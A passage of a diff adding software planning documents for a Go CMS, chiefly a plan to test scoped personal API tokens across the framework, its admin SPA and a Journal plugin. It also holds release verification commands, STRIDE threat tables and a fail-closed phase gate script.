<automated>test -n "$(git ls-remote --tags origin "refs/tags/$RELEASE_TAG")" && test "$(git -C ../sm-journal-plugin rev-parse main)" = "$(git -C ../sm-journal-plugin rev-parse origin/main)" && grep -q "git.golem15.com/golem15/summercms $RELEASE_TAG" ../sm-journal-plugin/go.mod && test "$(git -C ../sm-grzybyfunkcjonalne-app ls-files -s plugins/golem15/journal | cut -d' ' -f2)" = "$(git -C ../sm-journal-plugin rev-parse main)" && test "$(git -C ../sm-grzybyfunkcjonalne-app rev-parse master)" = "$(git -C ../sm-grzybyfunkcjonalne-app rev-parse origin/master)" && echo release-ok</automated>
|
||||
<fails_when>Non-zero exit or "release-ok" absent: the tag is not on origin, Journal main is not pushed, go.mod does not require the tag, the host gitlink does not point at the pushed Journal head, or the host master is not pushed.</fails_when>
|
||||
</verify>
|
||||
<acceptance_criteria>
|
||||
- `git ls-remote --tags origin` lists the release tag (or the SUMMARY names the reused tag).
|
||||
- The verify prints release-ok.
|
||||
- The SUMMARY records the tag, every pushed head and the commit messages; no credential appears in it.
|
||||
</acceptance_criteria>
|
||||
<done>The framework tag, the Journal plugin requiring it and the host bump are on origin.</done>
|
||||
</task>
|
||||
|
||||
</tasks>
|
||||
|
||||
<threat_model>
|
||||
## Trust Boundaries
|
||||
|
||||
| Boundary | Description |
|
||||
|----------|-------------|
|
||||
| agent → Journal API | Bearer JWT or g15_ token; untrusted |
|
||||
| Journal handlers → ownership checks | CanEdit and canViewDraft trust the principal the resolver returns |
|
||||
| executor → git origin | tags and branches are read by other repositories |
|
||||
|
||||
## STRIDE Threat Register
|
||||
|
||||
| Threat ID | Category | Component | Severity | Disposition | Mitigation Plan |
|
||||
|-----------|----------|-----------|----------|-------------|-----------------|
|
||||
| T-16.3-18 | Elevation of Privilege | Journal ownership branches (CanEdit, canViewDraft, featured images) | high | mitigate | Every Journal principal comes from cabana.ResolveBackend with cover golem15.journal.*; a token without Journal coverage gets 403 on writes and is anonymous on reads; TestJournalTokenExpansion pins it |
|
||||
| T-16.3-19 | Elevation of Privilege | journal:read on write routes | high | mitigate | Method filter in the resolver refuses non-GET/HEAD before the handler; 403 Insufficient permissions |
|
||||
| T-16.3-20 | Spoofing / Tampering (CSRF) | Journal write routes | high | mitigate | The resolver reads only the Bearer header (plan 01), so the admin cookie cannot authenticate a Journal write; Journal keeps its Bearer-only contract |
|
||||
| T-16.3-21 | Information Disclosure | Journal error bodies | low | mitigate | Only the existing PHP constants are written; resolver error text never reaches the client |
|
||||
| T-16.3-22 | Tampering / Repudiation | tag and pushes | high | mitigate | Clean, not-behind trees and an absent tag checked at a blocking-human checkpoint; one-way surfaces and NOT RUN suites listed for the human; heads recorded in the SUMMARY; no pushed tag moved |
|
||||
| T-16.3-23 | Elevation of Privilege | code-declared role grants on the Journal API | low | accept | Intended fix (the admin API already honors them); documented in the Journal README as a behaviour change |
|
||||
| T-16.3-SC | Tampering | npm/pip/cargo installs | high | mitigate | No package is installed; go mod edit changes only the nominal summercms require; builds use committed go.sum and lockfiles |
|
||||
</threat_model>
|
||||
|
||||
<verification>
|
||||
- Task 1: Journal vet, resolver mapping test, classes and controllers tests; the Postgres tracer on a Docker host.
|
||||
- Task 2: example compiles, docs checks pass; the Journal token matrix on a Docker host.
|
||||
- Task 3: release-gate-ok and a human decision.
|
||||
- Task 4: release-ok.
|
||||
</verification>
|
||||
|
||||
<success_criteria>
|
||||
- SC-4: an agent manages Journal posts with a journal-scoped token as a backend author.
|
||||
- SC-2 for plugin routes: read, unrelated and revoked tokens are refused with the PHP bodies.
|
||||
- SC-5: Journal README and the compiled ResolveBackend example are in place.
|
||||
- The release is pushed only after human approval.
|
||||
</success_criteria>
|
||||
|
||||
<output>
|
||||
Create `.planning/phases/16.3-backend-admin-personal-api-tokens-with-scopes/16.3-03-SUMMARY.md` when done, with the commits per repository, the release sheet, the human's reply, the tag and pushed heads, and the Postgres tests run or NOT RUN.
|
||||
</output>
|
||||
@@ -0,0 +1,238 @@
|
||||
---
|
||||
phase: 16.3-backend-admin-personal-api-tokens-with-scopes
|
||||
plan: 04
|
||||
type: execute
|
||||
wave: 4
|
||||
depends_on: ["16.3-01", "16.3-02", "16.3-03"]
|
||||
files_modified:
|
||||
- modules/bouncer/context_test.go
|
||||
- modules/party/registry_test.go
|
||||
- modules/lagoon/backend_admin_migrations_test.go
|
||||
- modules/cabana/token_scopes_test.go
|
||||
- modules/cabana/api_tokens_test.go
|
||||
- modules/cabana/token_guard_test.go
|
||||
- modules/cabana/token_routes_test.go
|
||||
- modules/cabana/token_postgres_test.go
|
||||
- modules/cabana/account_tokens_test.go
|
||||
- modules/cabana/token_commands_test.go
|
||||
- admin/tests/account/ApiTokensPanel.test.ts
|
||||
- admin/tests/account/ApiTokenCreateDialog.test.ts
|
||||
- ../sm-journal-plugin/token_scopes_test.go
|
||||
- ../sm-journal-plugin/journal_api_tokens_test.go
|
||||
- scripts/check-phase16.3.sh
|
||||
- .planning/phases/16.3-backend-admin-personal-api-tokens-with-scopes/16.3-VALIDATION.md
|
||||
autonomous: true
|
||||
requirements: [SC-6, SC-1, SC-2, SC-3, SC-4]
|
||||
estimate:
|
||||
tokens: 140000
|
||||
raw_tokens: 140000
|
||||
tasks: 3
|
||||
confidence: low
|
||||
must_haves:
|
||||
truths:
|
||||
- "CLAUDE.md lean rule 3 and SC-6: every piece of Phase 16.3 code has unit tests in this last plan: bouncer ScopeLimit, party Activated, the lagoon migration, cabana scope match, Allows, compile, overlap, mint, expiry, request validation, the composite guard, the debounce, ResolveBackend, interactive-only, the route gates and their classification, the account token API, the CLI, the SPA panel and dialog, and the Journal scopes and token matrix."
|
||||
- "D-14, D-03 and D-05 pinned by table: TestAllowsScope covers JWT principals unchanged, full scopes (`*` every method, admin:read on GET/HEAD), a plugin scope with owner grant, without owner grant, superuser with a scoped token, empty requirement list, multi-code lists under the literal per-scope reading (one scope must match every code), two scopes each matching part of a list, and wildcard requirements against broader, equal and narrower patterns; TestScopeMatch covers every row of the plan 01 match table."
|
||||
- "D-05 and D-06 for every route: TestTokenRouteGates walks every entry of phase09Routes and asserts its class (public, open to any token: GET /auth/me, interactive-only, explicitly gated, gated through Allows by protect, navigation or settings) and the answer a `*` token, an admin:read token and a plugin-scoped token get; adding a route without a class fails the test."
|
||||
- "D-13, D-07 to D-11 pinned on the guard: well-formedness (length, prefix, upper-case hex, non-hex), prefix routing (JWT and cookie untouched, g15_ in a cookie or a query string never authenticates), unknown, expired, revoked, deactivated and soft-deleted owners → 401, all-unknown scopes → 401, method refusal → 403 token_scope, the credential is the token row, a failed stamp does not fail auth, and the stamp runs at most once per minute; on Postgres a password reset and a tokens_valid_after cutoff leave the token working."
|
||||
- "D-16 to D-19 pinned: the account token API (list own newest first, revoked filter, scope entries with known false for unknown names, 201 with plaintext once and never again, 422 for every validation rule, `*` normalization, own-only soft revoke, scopes picker overlap) and the CLI (stdout of admin:token:create is exactly the token and a newline, overlap refusal, deactivated or deleted targets refused, list never prints hash or plaintext, revoke of another user's token, scopes listing with and without party.Activated) are tested on Postgres; request validation and expiry parsing are tested without a database."
|
||||
- "D-15 and SC-4 pinned on Postgres for the Journal: every write route (store, update, destroy, both featured-image routes, media upload) with journal, `*`, journal:read, admin:read, an unrelated scope, revoked and malformed tokens, with byte-identical bodies; optional-auth reads; the JWT path unchanged; the publish permission still enforced under a token."
|
||||
- "UI-SPEC backstops: the plaintext is absent from the DOM, component state and toasts after Done and after an Esc-confirm close and reopening starts at step 1; the copy flow announces and the clipboard failure selects and alerts; Esc before copying asks and cancel keeps step 2."
|
||||
- "scripts/check-phase16.3.sh runs every runnable suite fail-closed (stages go, admin, docs, postgres; --self-test proves the detectors fail on planted output; --all ends with 'Phase 16.3 gate passed' and says NOT RUN postgres loudly without Docker); 16.3-VALIDATION.md has every row filled and nyquist_compliant true."
|
||||
artifacts:
|
||||
- path: "modules/cabana/token_scopes_test.go"
|
||||
provides: "scope match, Allows, compile and overlap tables"
|
||||
contains: "TestAllowsScope"
|
||||
- path: "modules/cabana/token_routes_test.go"
|
||||
provides: "route classification and interactive-only tests"
|
||||
contains: "TestTokenRouteGates"
|
||||
- path: "modules/cabana/account_tokens_test.go"
|
||||
provides: "Postgres account token API tests"
|
||||
contains: "TestAccountTokens"
|
||||
- path: "../sm-journal-plugin/journal_api_tokens_test.go"
|
||||
provides: "Postgres Journal token matrix"
|
||||
contains: "TestJournalTokens"
|
||||
- path: "scripts/check-phase16.3.sh"
|
||||
provides: "phase gate"
|
||||
contains: "Phase 16.3 gate passed"
|
||||
key_links:
|
||||
- from: "modules/cabana/token_routes_test.go"
|
||||
to: "modules/cabana/security_coverage_test.go phase09Routes"
|
||||
via: "every inventoried route must have a token class"
|
||||
pattern: "phase09Routes"
|
||||
- from: "scripts/check-phase16.3.sh"
|
||||
to: "every suite named in 16.3-VALIDATION.md"
|
||||
via: "fail-closed stages and required test name lists"
|
||||
pattern: "check-phase16.3"
|
||||
prohibitions:
|
||||
- statement: "No test touches a shared database, a server, git origin or the network: pure tests use stubs and in-memory stores; Postgres tests use throwaway testcontainers databases."
|
||||
status: unresolved
|
||||
verification: judgment
|
||||
- statement: "Tests are not weakened to pass: existing assertions in the cabana, lagoon, bouncer, party and Journal suites stay; production code changes only in separate fix(...) commits with their own test, named in the SUMMARY."
|
||||
status: unresolved
|
||||
verification: judgment
|
||||
- statement: "No test prints or logs a real token outside the test process; fixtures never contain credentials beyond test secrets already used by the suites."
|
||||
status: unresolved
|
||||
verification: judgment
|
||||
---
|
||||
|
||||
## Phase Goal
|
||||
|
||||
ROADMAP Goal (not in user-story format): backend users create personal API tokens with scopes picked at creation time, so an agent or integration calls the admin and plugin APIs as that backend user with no more access than the token's scope and the user's own permissions allow.
|
||||
|
||||
This plan's slice (CLAUDE.md lean rule 3, user checkpoint plan 4 of 4): full unit coverage of the phase across summercms.go (Go and admin SPA) and sm-journal-plugin, the Postgres tests for a Docker host, the phase gate `scripts/check-phase16.3.sh` following the 16.2 gate pattern, and the completed validation map. Tests only; any defect found is fixed in a separate `fix(...)` commit with its own test.
|
||||
|
||||
## Spec-less probe fallback
|
||||
|
||||
Visible skip: "spec-less probe fallback skipped: phase has no requirement IDs to probe". Prohibitions above are recalled in-prompt and descriptor-less (flagged-unverified).
|
||||
|
||||
## Artifacts this phase produces (this plan)
|
||||
|
||||
- Go tests, Docker-free: `TestPrincipalScopeNotSerialized` (bouncer); `TestActivatePublishesPlugins` extended (party); `TestScopeMatch`, `TestAllowsScope`, `TestTokenScopeCompile`, `TestScopeOverlap`, `TestScopeCoversAll` (cabana token_scopes_test.go); `TestAPITokenMint`, `TestParseTokenExpiry`, `TestValidateTokenRequest` (api_tokens_test.go); `TestBackendTokenGuard`, `TestTokenLastUsedDebounce`, `TestResolveBackend` (token_guard_test.go); `TestTokenRouteGates`, `TestInteractiveOnly` (token_routes_test.go); `TestTokenCommandsRegistered` (token_commands_test.go); `TestJournalTokenScopes` (Journal root, `-short`).
|
||||
- Go tests, Postgres (Docker host): `TestBackendAPITokensMigration` (lagoon); `TestBackendTokenPostgres` (token_postgres_test.go); `TestAccountTokens` (account_tokens_test.go); `TestTokenCommands` (token_commands_test.go); `TestJournalTokens` (Journal root).
|
||||
- Vitest: extended `admin/tests/account/ApiTokensPanel.test.ts`, new `admin/tests/account/ApiTokenCreateDialog.test.ts`.
|
||||
- `scripts/check-phase16.3.sh` (stages `go`, `admin`, `docs`, `postgres`; flags `--self-test`, `--all`; env `PHASE163_ROOT`, `JOURNAL`, `PHASE163_REQUIRE_POSTGRES`).
|
||||
- 16.3-VALIDATION.md completed.
|
||||
|
||||
<objective>
|
||||
Bring full unit coverage to Phase 16.3 (lean rule 3), add the Postgres tests for a Docker host, write the fail-closed phase gate and complete the validation map.
|
||||
|
||||
Purpose: every security rule the phase ships (owner ∩ scope, deny by default, interactive-only, show-once plaintext, Journal coverage) is pinned by a test that fails when it regresses.
|
||||
Output: the test files above, scripts/check-phase16.3.sh, an updated 16.3-VALIDATION.md.
|
||||
</objective>
|
||||
|
||||
<execution_context>
|
||||
@~/.claude/msd-core/workflows/execute-plan.md
|
||||
@~/.claude/msd-core/templates/summary.md
|
||||
</execution_context>
|
||||
|
||||
<context>
|
||||
@.planning/phases/16.3-backend-admin-personal-api-tokens-with-scopes/16.3-VALIDATION.md
|
||||
@.planning/phases/16.3-backend-admin-personal-api-tokens-with-scopes/16.3-01-SUMMARY.md
|
||||
@.planning/phases/16.3-backend-admin-personal-api-tokens-with-scopes/16.3-02-SUMMARY.md
|
||||
@.planning/phases/16.3-backend-admin-personal-api-tokens-with-scopes/16.3-03-SUMMARY.md
|
||||
@.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-06-PLAN.md
|
||||
|
||||
Without Docker run Go tests with explicit `-run` sets (and `-short` in packages whose TestMain starts Postgres: modules/lagoon, the Journal root package); the testcontainers tests are written to fail rather than skip without a database and are listed for the Docker host. Helpers to reuse: the in-memory token store and stub users from `TestTokenTracerSmoke`, `captureRouter` and `phase09Routes` (security_coverage_test.go), `adminGorm`, `adminHandler`, `insertAdmin`, `commandApp`, `flagInput`, `commandByName` (cabana_test), `newPostsEnv`, `e.admin`, `e.call`, `adminAPI` (Journal harness), `mountApp`, `requestsTo` (admin tests/helpers.ts). Commits: tests only, `test(16.3-04): …`, no co-author tags, stage by explicit path in each repository; VALIDATION.md in its own docs commit.
|
||||
</context>
|
||||
|
||||
<tasks>
|
||||
|
||||
<task type="tracer">
|
||||
<name>Task 1: Tracer: the deny-by-default contract pinned at every layer (scope rules, guard, every route, SPA plaintext, Journal coverage)</name>
|
||||
<files>modules/cabana/token_scopes_test.go, modules/cabana/token_routes_test.go, admin/tests/account/ApiTokenCreateDialog.test.ts, ../sm-journal-plugin/token_scopes_test.go, modules/cabana/token_postgres_test.go</files>
|
||||
<read_first>modules/cabana/token_scopes.go, modules/cabana/contracts.go (Allows, granted), modules/cabana/token_guard.go, modules/cabana/http.go (mount), modules/cabana/security_coverage_test.go (phase09Routes, captureRouter, TestPhase09PermissionMatrix), modules/cabana/token_smoke_test.go (in-memory store, stub users), 16.3-01-PLAN.md (Decisions: match table, D-03 literal reading, overlap rule), admin/src/components/account/ApiTokenCreateDialog.vue, admin/tests/account/ApiTokensPanel.test.ts, ../sm-journal-plugin/token_scopes.go, ../sm-journal-plugin/lang/en/lang.yaml and pl/lang.yaml, modules/cabana/auth_test.go (adminGorm, adminHandler, insertAdmin)</read_first>
|
||||
<action>Write one test per layer for the phase's central promise (SC-2: never beyond the owner, never outside the scope).
|
||||
|
||||
Scope rules (token_scopes_test.go): `TestScopeMatch` with one case per row of the plan 01 match table (full, partial, none, leading wildcard); `TestAllowsScope` table per the D-14/D-03/D-05 truth of this plan, including the literal multi-code reading and a superuser holding a plugin scope.
|
||||
|
||||
Every route (token_routes_test.go, per D-05 and D-06): `TestTokenRouteGates` builds a class map for every phase09Routes key (public; open to any token; interactive-only; explicit gate; Allows through protect, navigation or settings) and fails for any inventoried route without a class; for each class it drives the real handler wrapper chain from `service.mount` with principals for a `*` token, an admin:read token on GET, and a plugin-scoped token, and asserts the status and details.reason (interactive_only or token_scope) the class requires.
|
||||
|
||||
SPA (ApiTokenCreateDialog.test.ts, UI-SPEC backstop "plaintext never retained"): after Done, hide token and after an Esc-then-confirm close, the token string is absent from document.body.innerHTML, the dialog exposes no plaintext in its state, no toast text contains it, and reopening shows step 1.
|
||||
|
||||
Journal (token_scopes_test.go, Docker-free with -short): `TestJournalTokenScopes` asserts the two scopes, their permissions and methods, and that every label and description key exists in lang/en and lang/pl.
|
||||
|
||||
Postgres (token_postgres_test.go, Docker host): `TestBackendTokenPostgres` covers the D-10 owner lifecycle through the real admin API (deactivate → 401, reactivate → 200, soft-delete → 401), a password reset through admin:reset-password and a tokens_valid_after cutoff leaving the token valid, revoked and expired rows → 401, last_used_at set once within a minute for two requests.</action>
|
||||
<verify>
|
||||
<automated>go vet ./modules/cabana && go test -count=1 -run '^(TestScopeMatch|TestAllowsScope|TestTokenRouteGates)$' -v ./modules/cabana 2>&1 | grep -c '^--- PASS: Test' | grep -qx 3 && npm --prefix admin test -- tests/account/ApiTokenCreateDialog.test.ts && go -C ../sm-journal-plugin test -short -count=1 -run '^TestJournalTokenScopes$' -v . 2>&1 | grep -- '^--- PASS: TestJournalTokenScopes'</automated>
|
||||
<fails_when>Non-zero exit: fewer than three passing cabana tests (a scope rule regressed or a mounted route has no class or the wrong answer), the plaintext backstop fails, or the Journal scope test fails (missing phrase key or changed scope).</fails_when>
|
||||
<automated>docker info >/dev/null 2>&1 && go test -count=1 -run '^TestBackendTokenPostgres$' -v ./modules/cabana 2>&1 | grep -- '^--- PASS: TestBackendTokenPostgres'</automated>
|
||||
<fails_when>Non-zero exit: no Docker daemon (record NOT RUN), or an owner lifecycle, reset, cutoff, revoke, expiry or stamp expectation fails.</fails_when>
|
||||
</verify>
|
||||
<acceptance_criteria>
|
||||
- `grep -n "func TestTokenRouteGates" modules/cabana/token_routes_test.go` prints one line and the test references `phase09Routes`.
|
||||
- `grep -c "func Test" modules/cabana/token_scopes_test.go` reports at least 2 at this point.
|
||||
- The three Docker-free checks pass; the Postgres test passes on a Docker host or is recorded NOT RUN.
|
||||
</acceptance_criteria>
|
||||
<done>The scope rules, every route's token behaviour, the SPA plaintext lifetime and the Journal scope registration are pinned, with the owner lifecycle on Postgres.</done>
|
||||
</task>
|
||||
|
||||
<task type="auto" tdd="true">
|
||||
<name>Task 2: Full Go coverage: bouncer, party, lagoon migration, cabana compile, overlap, mint, expiry, validation, guard, debounce, resolver, interactive-only, account API, CLI; Journal token matrix</name>
|
||||
<files>modules/bouncer/context_test.go, modules/party/registry_test.go, modules/lagoon/backend_admin_migrations_test.go, modules/cabana/token_scopes_test.go, modules/cabana/api_tokens_test.go, modules/cabana/token_guard_test.go, modules/cabana/token_routes_test.go, modules/cabana/account_tokens_test.go, modules/cabana/token_commands_test.go, ../sm-journal-plugin/journal_api_tokens_test.go</files>
|
||||
<read_first>modules/bouncer/context.go and context_test.go, modules/party/registry.go and registry_test.go, modules/lagoon/backend_admin_migrations.go and backend_admin_migrations_test.go, modules/cabana/api_tokens.go, modules/cabana/token_scopes.go, modules/cabana/token_guard.go, modules/cabana/account_tokens.go, modules/cabana/token_commands.go, modules/cabana/registry.go (compileTokenCatalog), modules/cabana/commands_test.go (TestAdminCreateCommand, commandApp, flagInput), modules/cabana/auth_test.go (adminHandler, insertAdmin), modules/cabana/openapi_conformance_test.go, ../sm-journal-plugin/journal_api_token_smoke_test.go, ../sm-journal-plugin/journal_api_writes_test.go, ../sm-journal-plugin/admin_harness_test.go</read_first>
|
||||
<behavior>
|
||||
- bouncer: a Principal with a Scope marshals to JSON without any scope field; a nil Scope is the zero value.
|
||||
- party: Activated is published in activation (dependency) order; a second Activate on the same app returns an error.
|
||||
- lagoon (Postgres): the migration creates backend_api_tokens with a unique token_hash, the backend_user_id FK cascades on a hard user delete and revoked_by is set NULL when the revoker is deleted; rollback drops the table and leaves backend_users; a fresh full rollback and re-migrate works.
|
||||
- compile: every boot rule fails with its message (bad name, reserved `*`/admin/admin:x, duplicate naming both plugins, empty permissions, empty methods, lower-case or unknown method, missing GET, unknown permission, empty label, unresolved phrase key) and valid plugin scopes follow the framework scopes in activation order.
|
||||
- overlap and cover: scopeOverlaps true only with a catalog code the owner holds under a full match; `*` always; admin:read for superusers or any catalog grant; scopeCoversAll for full, partial and none.
|
||||
- mint and expiry: 1000 minted tokens are well formed, distinct, hash to 64 hex and hint to the last four; parseTokenExpiry for 30d, 90d, 365d, never, absent (90d), a future date (00:00 UTC), today or a past date and garbage, in API and CLI mode.
|
||||
- validateTokenRequest: blank and over-100-rune names, invalid expiry, empty scopes, unknown scope, non-overlapping scope, `*` normalization, duplicate removal in order.
|
||||
- guard (stubs): the guard matrix in this plan's truths; the stamp error path logs and returns the principal; the debounce gate skips a second stamp within a minute and allows one after.
|
||||
- ResolveBackend: no app, no resolver, no Bearer, cookie-only JWT (refused, Bearer only), Bearer JWT (cover ignored), token with full scope, token with matching and non-matching cover, method refusal; the returned request carries the user and, for a token, the credential.
|
||||
- interactive-only: token credential and raw g15_ Bearer refused with reason interactive_only on each wrapped route; a JWT session passes.
|
||||
- account API (Postgres): list ordering, revoked filter, scope entries (known label, `*` label, unknown with known false, read_only), 201 shape with plaintext only there, every 422 rule with the server message text, `*` normalization stored, revoke own (200), other user's (404), already revoked (404), scopes picker filtered per user (developer vs a user without Journal-like grants vs superuser).
|
||||
- CLI (Postgres): create stdout is exactly one line g15_ plus 40 hex with nothing else, ambiguous identifier refused, deactivated and soft-deleted targets refused, non-overlapping scope refused, --expires date accepted; list without and with identifier and --revoked shows hints and never hash or plaintext; revoke another user's token (revoked_by NULL), unknown id errors, already revoked exits 0; scopes with and without a published party.Activated. Docker-free TestTokenCommandsRegistered: four commands, scope flag Repeatable, RuntimeCommands constructs with an empty app.
|
||||
- Journal (Postgres): TestJournalTokens: every write route × {journal, `*`, journal:read, admin:read, unrelated scope, revoked, malformed} with exact bodies; published=true under a journal token without access_publish → 403 "You do not have permission to publish posts"; optional-auth Index and Show with each token; the JWT path unchanged.
|
||||
</behavior>
|
||||
<action>Write the tests in the behavior block (per D-01 to D-19), table-driven where cases share a shape, extending the plan 01 and plan 03 smoke files' fixtures instead of duplicating them. Docker-free tests use stubs, in-memory stores and httptest; Postgres tests reuse adminGorm/adminHandler/commandApp and the Journal harness and fail rather than skip without Docker. Do not change production code; a defect gets its own fix(...) commit with a test, recorded in the SUMMARY.</action>
|
||||
<verify>
|
||||
<automated>go vet ./modules/bouncer ./modules/party ./modules/lagoon ./modules/cabana && go test -count=1 ./modules/party && go test -count=1 -run '^TestPrincipalScopeNotSerialized$' -v ./modules/bouncer 2>&1 | grep -- '^--- PASS: TestPrincipalScopeNotSerialized' && go test -count=1 -run '^(TestScopeMatch|TestAllowsScope|TestTokenScopeCompile|TestScopeOverlap|TestScopeCoversAll|TestAPITokenMint|TestParseTokenExpiry|TestValidateTokenRequest|TestBackendTokenGuard|TestTokenLastUsedDebounce|TestResolveBackend|TestTokenRouteGates|TestInteractiveOnly|TestTokenCommandsRegistered|TestTokenTracerSmoke|TestTokenGatesSmoke)$' -v ./modules/cabana 2>&1 | grep -c '^--- PASS: Test' | grep -qx 16</automated>
|
||||
<fails_when>Non-zero exit: vet fails, the party package fails, the bouncer serialization test is missing or fails, or fewer than sixteen "--- PASS: Test" lines for the named cabana Docker-free tests (one missing or failing).</fails_when>
|
||||
<automated>docker info >/dev/null 2>&1 && go test -count=1 -run '^(TestBackendAPITokensMigration|TestBackendAdminMetadataColumn|TestPhase09MigrationsFreshRollback)$' -v ./modules/lagoon 2>&1 | grep -c '^--- PASS: Test' | grep -qx 3 && go test -count=1 -run '^(TestAccountTokens|TestTokenCommands|TestBackendTokenPostgres|TestPhase10OpenAPIConformance)$' -v ./modules/cabana 2>&1 | grep -c '^--- PASS: Test' | grep -qx 4 && go -C ../sm-journal-plugin test -count=1 -run '^(TestJournalTokens|TestJournalTokenTracer|TestJournalTokenExpansion)$' -v . 2>&1 | grep -c '^--- PASS: Test' | grep -qx 3</automated>
|
||||
<fails_when>Non-zero exit: no Docker daemon (record NOT RUN), or a lagoon migration, account API, CLI, Postgres guard, OpenAPI conformance or Journal token test fails or is missing.</fails_when>
|
||||
</verify>
|
||||
<acceptance_criteria>
|
||||
- `grep -n "func TestAccountTokens(t" modules/cabana/account_tokens_test.go`, `grep -n "func TestTokenCommands(t" modules/cabana/token_commands_test.go`, `grep -n "func TestBackendAPITokensMigration" modules/lagoon/backend_admin_migrations_test.go` and `grep -n "func TestJournalTokens(" ../sm-journal-plugin/journal_api_tokens_test.go` each print one line, and those files pass go vet in their repositories.
|
||||
- For each repository, `git diff --stat "$TASK2_START"..HEAD` (TASK2_START recorded in the SUMMARY before this task) lists only *_test.go files, except files of separate fix(...) commits the SUMMARY names.
|
||||
</acceptance_criteria>
|
||||
<done>Every Go behaviour of the phase has a passing unit test, and the database-backed paths have Postgres tests for the Docker host.</done>
|
||||
</task>
|
||||
|
||||
<task type="auto" tdd="true">
|
||||
<name>Task 3: Full SPA coverage, the phase gate script, and the validation map</name>
|
||||
<files>admin/tests/account/ApiTokensPanel.test.ts, admin/tests/account/ApiTokenCreateDialog.test.ts, scripts/check-phase16.3.sh, .planning/phases/16.3-backend-admin-personal-api-tokens-with-scopes/16.3-VALIDATION.md</files>
|
||||
<read_first>admin/src/components/account/ApiTokensPanel.vue, admin/src/components/account/ApiTokenCreateDialog.vue, admin/tests/account/ApiTokensPanel.test.ts, admin/tests/helpers.ts, 16.3-UI-SPEC.md (Component Contracts 2-7 and UI Considerations), scripts/check-phase16.2.sh (structure, detectors, --self-test, --all, NOT RUN postgres), .planning/phases/16.3-backend-admin-personal-api-tokens-with-scopes/16.3-VALIDATION.md</read_first>
|
||||
<behavior>
|
||||
- Panel: skeleton with aria-busy on first load and on toggle; empty block (also with the toggle on); load failure alert hides the toggle and keeps Create enabled; row anatomy (name, hint aria-label, chips: known label with title, `*` Full access, unknown dashed with hint title, Expired, Revoked), meta line formats and order, revoke button visibility per state; revoke success toast and focus, 404 gone toast and reload, other failure keeps the row; ConfirmDialog message wraps.
|
||||
- Dialog step 1: focus on open; scopes skeleton and submit disabled while pending; scopes failure and empty answer show the alert; `*` checked disables and unchecks others, shows the note and sends only [`*`]; unchecking restores enabled rows without picks; no scope preselected; 90d preselected and the preview date for 30, 90, 365 and the never note; 422 for name, expires and scopes renders messages with aria-invalid and focuses the first invalid control; busy disables fieldset, buttons, Esc and overlay and ignores a second submit; non-422 failure toast keeps input; any close discards input; focus returns to Create token.
|
||||
- Dialog step 2 (backstops): copy success state for two seconds and the polite announcement; rejected or missing clipboard selects the input and shows the alert; manual copy event counts; overlay never closes; Esc and close before copy ask and cancel keeps step 2, confirm closes; after copy they close at once; Done closes without confirm; plaintext absent afterwards; focus on Copy token on entering step 2.
|
||||
- Gate: stages go (vet in both repositories; the Docker-free framework, cmd/summer and Journal tests by required name, Journal root with -short), admin (typecheck and full vitest with required case names), docs (TestDocsTree, summer docs:build --check, check-admin-openapi.sh --check, check-admin-dist.sh), postgres (Docker host: lagoon, cabana and Journal suites by required name); fail-closed detectors for failures, skips, zero tests, "no tests to run" and missing names; --self-test plants each failure; --all ends with "Phase 16.3 gate passed" and prints NOT RUN postgres without Docker unless PHASE163_REQUIRE_POSTGRES=1.
|
||||
</behavior>
|
||||
<action>Write the vitest cases in the behavior block (per D-08, D-09, D-11, D-16, D-17 and the UI-SPEC) in the two admin/tests/account files with stubbed fetch routes and a stubbed navigator.clipboard. Write scripts/check-phase16.3.sh in the check-phase16.2.sh style (set -euo pipefail, unset FORCE_COLOR, ROOT from the script path, overridable JOURNAL, required-name lists per stage covering every test this phase added, the same go-json and vitest-json detectors, --self-test, --all, NOT RUN postgres). Update 16.3-VALIDATION.md: replace each planned row's status with the real result, fix test file paths that differ from the plan, tick Wave 0, set wave_0_complete and nyquist_compliant to true, keep the Manual-Only rows (real-browser clipboard; Postgres suites on a Docker host when NOT RUN). Commit the tests as test(16.3-04), the script as "test(16.3): phase gate", and VALIDATION.md separately as docs(16.3).</action>
|
||||
<verify>
|
||||
<automated>npm --prefix admin run typecheck && npm --prefix admin test && bash scripts/check-phase16.3.sh --self-test && bash scripts/check-phase16.3.sh --all 2>&1 | tail -1 | grep -qx 'Phase 16.3 gate passed'</automated>
|
||||
<fails_when>Non-zero exit: a type error or failing vitest case, a detector self-test that does not fail on planted output, or a --all run whose last line is not exactly "Phase 16.3 gate passed" (a stage failed or a required test is missing).</fails_when>
|
||||
</verify>
|
||||
<acceptance_criteria>
|
||||
- `grep -n "Phase 16.3 gate passed" scripts/check-phase16.3.sh` prints at least one line and the --all run ends with that line.
|
||||
- `grep -n "nyquist_compliant: true" .planning/phases/16.3-backend-admin-personal-api-tokens-with-scopes/16.3-VALIDATION.md` prints one line and `grep -c "TBD" .planning/phases/16.3-backend-admin-personal-api-tokens-with-scopes/16.3-VALIDATION.md` reports 0.
|
||||
- The full admin suite passes.
|
||||
</acceptance_criteria>
|
||||
<done>The SPA is fully tested against the UI-SPEC, the phase gate passes here with the Docker suites named, and the validation map is complete.</done>
|
||||
</task>
|
||||
|
||||
</tasks>
|
||||
|
||||
<threat_model>
|
||||
## Trust Boundaries
|
||||
|
||||
| Boundary | Description |
|
||||
|----------|-------------|
|
||||
| tests → databases | Postgres tests start throwaway containers; nothing else is dialled |
|
||||
| tests → network | no test reaches a server, a registry or git origin |
|
||||
|
||||
## STRIDE Threat Register
|
||||
|
||||
| Threat ID | Category | Component | Severity | Disposition | Mitigation Plan |
|
||||
|-----------|----------|-----------|----------|-------------|-----------------|
|
||||
| T-16.3-24 | Repudiation (false green) | phase gate | medium | mitigate | Fail-closed detectors for failures, skips, zero tests, "no tests to run" and missing required names; --self-test plants each; Docker suites are named and reported NOT RUN instead of silently skipped |
|
||||
| T-16.3-25 | Tampering (security regression) | Allows, guard, route gates, plaintext lifetime | high | mitigate | Table tests for the scope rules, a classification test that fails for any unclassified route, guard and resolver matrices, the Journal token matrix and the SPA plaintext backstop all run in the gate; production changes only through separate fix commits |
|
||||
| T-16.3-26 | Tampering | test isolation | low | mitigate | Stubs, in-memory stores, httptest and happy-dom for unit tests; testcontainers for Postgres; no shared database or network |
|
||||
| T-16.3-SC | Tampering | npm/pip/cargo installs | high | mitigate | No package is installed; every runner uses the committed lockfiles and go.sum |
|
||||
</threat_model>
|
||||
|
||||
<verification>
|
||||
- Task 1: scope rules, route classification, SPA plaintext backstop and Journal scopes pass; the Postgres guard test on a Docker host.
|
||||
